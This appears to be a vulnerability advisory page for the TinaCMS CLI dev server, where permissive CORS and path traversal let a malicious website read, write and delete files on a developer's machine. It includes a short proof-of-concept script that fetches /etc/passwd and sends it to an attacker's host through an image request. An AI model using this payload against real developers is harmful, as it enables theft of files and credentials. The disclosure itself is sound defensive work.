Critical

TinaCMS CLI Dev Server Vulnerable to Cross-Origin File Exfiltration via CORS Misconfiguration + Path Traversal in TinaCMS

  • Disclosed: 12.03.2026
  • Updated: 11.10.2026 10:22

Summary

The TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running.

Details

The TinaCMS dev server sets permissive CORS headers that allow any origin to make cross-origin requests:

  • packages/@tinacms/cli/src/server/server.ts:
  app.use(cors());
  • packages/@tinacms/cli/src/next/vite/plugins.ts:
     server.middlewares.use(cors());

When combined with the path traversal vulnerability, this creates a complete attack chain.

Attack Scenario

Prerequisites

  1. Developer runs tinacms dev (default port 4001)
  2. Developer visits attacker's website while TinaCMS is running

No other conditions required - the dev server doesn't need to be:

  • Exposed to the internet
  • Bound to 0.0.0.0
  • Accessible outside localhost

Attack Flow

  1. Developer starts TinaCMS: tinacms dev
  2. Developer browses the web (checking email, social media, etc.)
  3. Developer unknowingly visits attacker-controlled page (malicious ad, compromised site, etc.)
  4. Attacker's JavaScript exploits CORS + path traversal to read sensitive files
  5. Files are exfiltrated to attacker's server

PoC

Attacker's Malicious Website (evil.html):

js
<script>
fetch('http://localhost:4001/../../../etc/passwd')
  .then(r => r.text())
  .then(data => {
    // Exfil via GET
    const img = new Image();
    img.src = 'http://192.168.11.117:8080/exfil?data=' + encodeURIComponent(data);
  });
</script>

Demonstration

Step 1: Start TinaCMS dev server

bash
tinacms dev
# Server running on http://localhost:4001

Step 2: Host evil.html on attacker server

bash
python3 -m http.server 8000

Step 3: Developer visits http://attacker-server:8000/evil.html

Result: The browser makes cross-origin requests to localhost:4001. Because cors() returns Access-Control-Allow-Origin: *, the browser allows the JavaScript to read the responses. Directory listings from outside the media directory are sent to the attacker's server. <img width="1900" height="366" alt="image" src="https://github.com/user-attachments/assets/72fdd31d-dd93-4728-9a4b-4d7d66d33617" />

Impact

Who is affected

Every developer running tinacms dev is vulnerable while the dev server is active. No special configuration is required the default setup is exploitable.

What an attacker achieves

By hosting a malicious webpage (or injecting script via a compromised ad network, XSS on a forum, etc.), the attacker can silently:

  1. Enumerate the developer's filesystem directory listings via /media/list/ with path traversal reveal file and folder names across the entire filesystem
  2. Discover sensitive files locate .env, .git/config, SSH keys, cloud credentials, database configs
  3. Write arbitrary files via /media/upload/ with path traversal, the attacker can overwrite project source files, inject backdoors, or modify build scripts
  4. Delete arbitrary files via /media/ DELETE with path traversal

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package @tinacms/cli < 2.1.8 2.1.8

References

CVSS score 9.6/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Weakness (CWE)
CWE-22, CWE-942
Platform
npm
Package
@tinacms/cli
Disclosed
12.03.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-8pw3-9m7f-q734 - CC BY 4.0

Vulnerability history: @tinacms/cli

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (9) in the archive
Total entries
9
First → latest
02.2023 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 6
  • Medium 2

Disclosures per year

  1. 2023: 1
  2. 2024: 1
  3. 2025: 1
  4. 2026: 6
Severity:
  1. TinaCMS CLI Dev Server Vulnerable to Cross-Origin File Exfiltration via CORS Misconfiguration + Path Traversal in TinaCMS this entry
    Critical · 9.6 CVE-2026-28792 < 2.1.8 2.1.8
  2. High CVE-2025-68278 < 2.0.4 2.0.4
  3. High · 7.5 CVE-2024-45391 < 1.6.2 1.6.2
  4. High · 8.6 CVE-2023-25164 >= 1.0.0, < 1.0.9 1.0.9

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.